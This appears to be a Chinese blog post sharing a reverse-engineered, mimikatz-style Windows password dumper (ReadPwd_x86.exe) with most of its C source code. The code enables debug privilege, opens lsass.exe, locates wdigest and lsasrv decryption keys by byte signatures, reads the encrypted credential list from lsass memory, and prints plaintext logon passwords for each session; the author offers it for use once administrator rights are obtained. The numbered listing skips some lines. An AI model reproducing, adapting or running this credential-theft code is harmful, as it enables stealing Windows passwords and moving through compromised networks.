此程序是看雪论坛中秋节发出来的一个逆向作品,逆向的目标就是曾经介绍过的mimikatz,直接把取密码的过程简化到了一起。
之前看到有人就是拿来编译了一下也要在前面加好多什么来自某某黑客啦什么什么的,很蛋疼,也可能是大家连编译都懒得编译了,直接拿来主义吧,嘿嘿,这里发个原版的,不含任何广告链接自我宣传什么的。
这事让我想到了前一段用搜索引擎检测了一下,发现自己的好多文章都给抄去了,有各种“大牛”的博客啦,也有一些之前比较出名的网络安全站点,有的注明了出处有的貌似是机器人采集的?我也懒得去计较了,之前辛苦整理的一些资料下载加了密码就是防止这些转载党,采集党,没有别的意思。
这个工具目前只能在32位系统下使用,基本通杀目前能见到的windows系统,拿到了管理员权限以后使用还是很方便的。可惜由于某些动态链接库没有处理好,导致无法在64位系统下使用,某个DLL导入失败,小修改一下应该还是可以的,明天摆弄摆弄看看。
今天看了一下,发现64位下的程序太多地方不兼容了,而且目前服务器用到2008的比较少,还是放弃了。
下载地址:
ReadPwd_x86.exe
源代码:
10 | #define MEM_SIZE 0x1000 |
15 | typedef struct _LSA_UNICODE_STRING { |
19 | } LSA_UNICODE_STRING , *PLSA_UNICODE_STRING ; |
21 | typedef struct _SECURITY_LOGON_SESSION_DATA { |
24 | LSA_UNICODE_STRING UserName; |
25 | LSA_UNICODE_STRING LogonDomain; |
26 | LSA_UNICODE_STRING AuthenticationPackage; |
27 | ULONG LogonType; ULONG Session; |
29 | LARGE_INTEGER LogonTime; |
30 | LSA_UNICODE_STRING LogonServer; |
31 | LSA_UNICODE_STRING DnsDomainName; |
32 | LSA_UNICODE_STRING Upn; |
33 | } SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA ; |
35 | typedef int (__stdcall * pNTQUERYPROCESSINFORMATION)( HANDLE , DWORD , PVOID , ULONG , PULONG ) ; |
36 | typedef int (__stdcall * pLSAENUMERATELOGONSESSIONS)( PULONG , PLUID *) ; |
37 | typedef int (__stdcall * pDECRIPTFUNC)( PBYTE , DWORD ) ; |
38 | typedef int (__stdcall * pLSAFREERETURNBUFFER)( PVOID ) ; |
39 | typedef int (__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *) ; |
41 | int EnableDebugPrivilege() ; |
42 | void printHexBytes( PBYTE data, int nBytes) ; |
43 | PBYTE search_bytes( PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) ; |
44 | void CopyKeyGlobalData( HANDLE hProcess, LPVOID hModlsasrv, int osKind) ; |
45 | HANDLE GetProcessHandleByName( const CHAR *szName) ; |
46 | LPVOID GetEncryptListHead() ; |
47 | void printSessionInfo(pLSAGETLOGONSESSIONDATA, pLSAFREERETURNBUFFER, PLUID) ; |
50 | BYTE DecryptfuncSign[] = { 0x8B, 0xFF, 0x55, 0x8B, |
51 | 0xEC, 0x6A, 0x00, 0xFF, |
52 | 0x75, 0x0C, 0xFF, 0x75, |
56 | BYTE DecryptKeySign_WIN7[] = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 } ; |
57 | BYTE DecryptKeySign_XP[] = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 } ; |
60 | BYTE KeyPointerSign[] = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 } ; |
63 | BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200] ; |
64 | BYTE Encryptdata[0x100] ; |
66 | HANDLE GetProcessHandleByName( const CHAR *szName) |
71 | DWORD dwProcessId , ReturnLength, nBytes ; |
72 | WCHAR Buffer[MAX_PATH + 0x20] ; |
75 | pNTQUERYPROCESSINFORMATION NtQueryInformationProcess ; |
76 | CHAR szCurrentPath[MAX_PATH] ; |
78 | NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle( "ntdll.dll" ) , \ |
79 | "NtQueryInformationProcess" ) ; |
82 | for (dwProcessId = 4 ; dwProcessId < 10*1000 ; dwProcessId += 4) |
84 | hProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE, dwProcessId) ; |
87 | if (!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof (Buffer), &ReturnLength)) |
89 | pRetStr = ( PWCHAR )(*( DWORD *)(( DWORD )Buffer + 4)) ; |
91 | nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, \ |
92 | szCurrentPath, MAX_PATH, NULL, NULL) ; |
95 | PCHAR pCurName = &szCurrentPath[nBytes-1] ; |
96 | while (pCurName >= szCurrentPath) |
98 | if (*pCurName == '\\' ) break ; |
102 | if (lstrcmpi(szName, pCurName) == 0) |
109 | CloseHandle(hProcess) ; |
115 | LPVOID GetEncryptListHead() |
121 | LPVOID pEndAddr, KeyPointer, pTemp ; |
123 | hMod = LoadLibrary( "wdigest.dll" ) ; |
124 | pEndAddr = GetProcAddress(hMod, "SpInstanceInit" ) ; |
127 | while (pTemp < pEndAddr && pTemp != NULL) |
130 | pTemp = ( LPVOID )search_bytes(( PBYTE )pTemp + sizeof (KeyPointerSign), ( PBYTE )pEndAddr, \ |
131 | KeyPointerSign, sizeof (KeyPointerSign)) ; |
133 | KeyPointer = ( LPVOID )(*( DWORD *)(( DWORD )KeyPointer - 4)) ; |
140 | HINSTANCE hModlsasrv ; |
141 | DWORD LogonSessionCount, i ,dwBytesRead ; |
142 | PLUID LogonSessionList, pCurLUID , pListLUID ; |
143 | BYTE EncryptBuf[0x200] ; |
146 | if (EnableDebugPrivilege() != 1) |
147 | puts ( "EnableDebugPrivilege fail !" ) ; |
149 | hProcess = GetProcessHandleByName( "lsass.exe" ) ; |
152 | puts ( "GetProcessHandleByName fail !" ) ; |
153 | puts ( "Try To Run As Administrator ..." ) ; |
154 | system ( "echo Press any Key to Continue ... & pause > nul" ) ; |
158 | OSVERSIONINFO VersionInformation ; |
159 | DWORD dwVerOff = 0 , osKind = -1 ; |
162 | memset (&VersionInformation, 0, sizeof (VersionInformation)); |
163 | VersionInformation.dwOSVersionInfoSize = sizeof (VersionInformation) ; |
164 | GetVersionEx(&VersionInformation) ; |
165 | if (VersionInformation.dwMajorVersion == 5) |
167 | if ( VersionInformation.dwMinorVersion == 1 ) |
172 | else if (VersionInformation.dwMinorVersion == 2) |
178 | else if (VersionInformation.dwMajorVersion == 6) |
186 | printf ( "[Undefined OS version] Major: %d Minor: %d\n" , \ |
187 | VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion) ; |
188 | system ( "echo Press any Key to Continue ... & pause > nul" ) ; |
189 | CloseHandle(hProcess) ; |
194 | pDECRIPTFUNC DecryptFunc ; |
195 | hModlsasrv = LoadLibrary( "lsasrv.dll" ) ; |
196 | DecryptFunc = (pDECRIPTFUNC)search_bytes(( PBYTE )hModlsasrv, ( PBYTE )0x7fffdddd, DecryptfuncSign, sizeof (DecryptfuncSign)) ; |
200 | ListHead = GetEncryptListHead() ; |
203 | CopyKeyGlobalData(hProcess, hModlsasrv, osKind) ; |
205 | HINSTANCE hModSecur32 ; |
206 | pLSAENUMERATELOGONSESSIONS LsaEnumerateLogonSessions ; |
207 | pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData ; |
208 | pLSAFREERETURNBUFFER LsaFreeReturnBuffer ; |
210 | hModSecur32 = LoadLibrary( "Secur32.dll" ) ; |
211 | LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions" ) ; |
212 | LsaGetLogonSessionData = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData" ) ; |
213 | LsaFreeReturnBuffer = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer" ) ; |
215 | LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList) ; |
216 | for (i = 0 ; i < LogonSessionCount ; i++) |
218 | pCurLUID = (PLUID)(( DWORD )LogonSessionList + sizeof (LUID) * i) ; |
220 | printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID) ; |
222 | ReadProcessMemory(hProcess, ListHead, EncryptBuf, 0x100, &dwBytesRead) ; |
223 | while (*( DWORD *)EncryptBuf != ( DWORD )ListHead) |
225 | ReadProcessMemory(hProcess, ( LPVOID )(*( DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead) ; |
226 | pListLUID = (LUID *)(( DWORD )EncryptBuf + 0x10) ; |
227 | if ((pListLUID->LowPart == pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart)) |
232 | if (*( DWORD *)EncryptBuf == ( DWORD )ListHead) |
234 | puts ( "Specific LUID NOT found\n" ) ; |
241 | pFinal = ( DWORD )(pListLUID) + dwVerOff ; |
242 | nBytes = *( WORD *)(( DWORD )pFinal + 2) ; |
243 | pEncrypt = ( LPVOID )(*( DWORD *)(( DWORD )pFinal + 4)) ; |
245 | memset (Encryptdata, 0, sizeof (Encryptdata)) ; |
246 | ReadProcessMemory(hProcess, ( LPVOID )pEncrypt, Encryptdata, nBytes, &dwBytesRead) ; |
249 | DecryptFunc(Encryptdata, nBytes) ; |
251 | printf ( "password: %S\n\n" , Encryptdata) ; |
254 | CloseHandle(hProcess) ; |
255 | LsaFreeReturnBuffer(LogonSessionList) ; |
257 | FreeLibrary(hModlsasrv) ; |
258 | FreeLibrary(hModSecur32) ; |
261 | FreeLibrary(GetModuleHandle( "bcrypt.dll" )) ; |
262 | FreeLibrary(GetModuleHandle( "bcryptprimitives.dll" )) ; |
265 | system ( "echo Press any Key to EXIT ... & pause > nul" ) ; |
270 | void printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID) |
272 | PSECURITY_LOGON_SESSION_DATA pLogonSessionData ; |
274 | LsaGetLogonSessionData(pCurLUID, &pLogonSessionData) ; |
275 | printf ( "UserName: %S\n" , pLogonSessionData->UserName.Buffer) ; |
276 | printf ( "LogonDomain: %S\n" , pLogonSessionData->LogonDomain.Buffer) ; |
278 | LsaFreeReturnBuffer(pLogonSessionData) ; |
281 | int EnableDebugPrivilege() |
284 | LUID sedebugnameValue ; |
285 | TOKEN_PRIVILEGES tkp ; |
287 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) ) |
289 | puts ( "OpenProcessToken fail" ) ; |
292 | if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) |
294 | puts ( "LookupPrivilegeValue fail" ) ; |
298 | tkp.PrivilegeCount = 1 ; |
299 | tkp.Privileges[0].Luid = sedebugnameValue ; |
300 | tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ; |
301 | if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof (tkp), NULL, NULL) ) |
303 | puts ( "AdjustTokenPrivileges fail" ) ; |
309 | PBYTE search_bytes( PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) |
317 | while (( DWORD )pBegin + ( DWORD )nsize <= ( DWORD )pEnd) |
321 | while (count < nsize && *pBegin == *pDst) |
327 | if (count == nsize) break ; |
328 | pBegin = pBegin - count + 1 ; |
332 | return ( PBYTE )(( DWORD )pBegin - ( DWORD )count) ; |
340 | void CopyKeyGlobalData( HANDLE hProcess, LPVOID hModlsasrv, int osKind) |
342 | PIMAGE_SECTION_HEADER pSectionHead ; |
343 | PIMAGE_DOS_HEADER pDosHead ; |
344 | PIMAGE_NT_HEADERS pPEHead ; |
345 | DWORD dwBytes, dwBytesRead ; |
346 | LPVOID pdataAddr, pDecryptKey , DecryptKey, pEndAddr ; |
348 | pDosHead = (PIMAGE_DOS_HEADER)hModlsasrv ; |
349 | pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + ( DWORD )hModlsasrv \ |
350 | + sizeof (IMAGE_NT_HEADERS) + sizeof (IMAGE_SECTION_HEADER)) ; |
352 | pdataAddr = ( LPVOID )(( DWORD )pSectionHead->VirtualAddress + ( DWORD )hModlsasrv) ; |
353 | dwBytes = (( DWORD )(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000 ; |
354 | ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead) ; |
356 | pPEHead = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + ( DWORD )hModlsasrv) ; |
357 | pEndAddr = ( LPVOID )(pPEHead->OptionalHeader.SizeOfImage + ( DWORD )hModlsasrv) ; |
364 | pDecryptKey = ( LPVOID )search_bytes(( PBYTE )(hModlsasrv), ( PBYTE )pEndAddr , \ |
365 | DecryptKeySign_XP, sizeof (DecryptKeySign_XP)) ; |
367 | pDecryptKey = ( LPVOID )*( DWORD *)(( DWORD )pDecryptKey + sizeof (DecryptKeySign_XP)) ; |
368 | ReadProcessMemory(hProcess, ( LPVOID )pDecryptKey, &DecryptKey, 4, &dwBytesRead) ; |
370 | ReadProcessMemory(hProcess, ( LPVOID )DecryptKey, MemBuf, 0x200, &dwBytesRead) ; |
371 | pdataAddr = ( LPVOID )pDecryptKey ; |
372 | *( DWORD *)pdataAddr = ( DWORD )MemBuf ; |
379 | LoadLibrary( "bcrypt.dll" ) ; |
380 | LoadLibrary( "bcryptprimitives.dll" ) ; |
382 | pDecryptKey = ( LPVOID )search_bytes(( PBYTE )(hModlsasrv), ( PBYTE )pEndAddr , \ |
383 | DecryptKeySign_WIN7, sizeof (DecryptKeySign_WIN7)) ; |
384 | pDecryptKey = ( LPVOID )(*( DWORD *)(( DWORD )pDecryptKey - 4)) ; |
387 | ReadProcessMemory(hProcess, pDecryptKey, &DecryptKey, 0x4, &dwBytesRead) ; |
389 | ReadProcessMemory(hProcess, ( LPVOID )DecryptKey, MemBuf, 0x200, &dwBytesRead) ; |
390 | pdataAddr = ( LPVOID )pDecryptKey ; |
391 | *( DWORD *)pdataAddr = ( DWORD )MemBuf ; |
393 | ReadProcessMemory(hProcess, ( LPVOID )(*( DWORD *)(( DWORD )MemBuf + 8)), SecBuf, 0x200, &dwBytesRead) ; |
394 | pdataAddr = ( LPVOID )(( DWORD )MemBuf + 8) ; |
395 | *( DWORD *)pdataAddr = ( DWORD )SecBuf ; |
397 | ReadProcessMemory(hProcess, ( LPVOID )(*( DWORD *)(( DWORD )MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead) ; |
398 | pdataAddr = ( LPVOID )(( DWORD )MemBuf + 0xC) ; |
399 | *( DWORD *)pdataAddr = ( DWORD )ThirdBuf ; |